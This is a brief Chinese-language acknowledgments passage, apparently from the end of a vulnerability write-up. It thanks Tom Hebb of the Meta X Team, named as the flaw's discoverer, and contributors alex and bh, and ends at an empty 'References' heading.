感谢Meta X Team的Tom Hebb与笔者的技术讨论 – Tom即为该漏洞的发现者,笔者与其在Meta Researcher Conference相识。

alex, bh对本文亦有贡献。

参考内容